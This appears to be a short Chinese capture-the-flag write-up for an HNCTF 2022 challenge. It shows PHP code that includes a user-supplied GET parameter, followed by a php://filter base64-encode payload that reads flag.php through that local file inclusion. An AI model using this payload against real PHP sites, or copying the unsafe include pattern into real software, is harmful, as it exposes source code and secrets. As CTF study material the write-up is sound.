<?php //WEB手要懂得搜索 //flag in ./flag.php if(isset($_GET['filter'])){ $file = $_GET['filter']; if(!preg_match("/flag/i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); }
可以知晓,该段代码使用preg_match函数过滤掉了flag,绕过preg_match函数可以使用php://filter,通过对要读的文件进行base64加密来完成绕过
playload:/?filter=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64加密的数据,放进bp进行解码,取得flag
标签:HNCTF,Interesting,base64,filter,flag,2022,Week1,php From: https://www.cnblogs.com/karasbai/p/18373936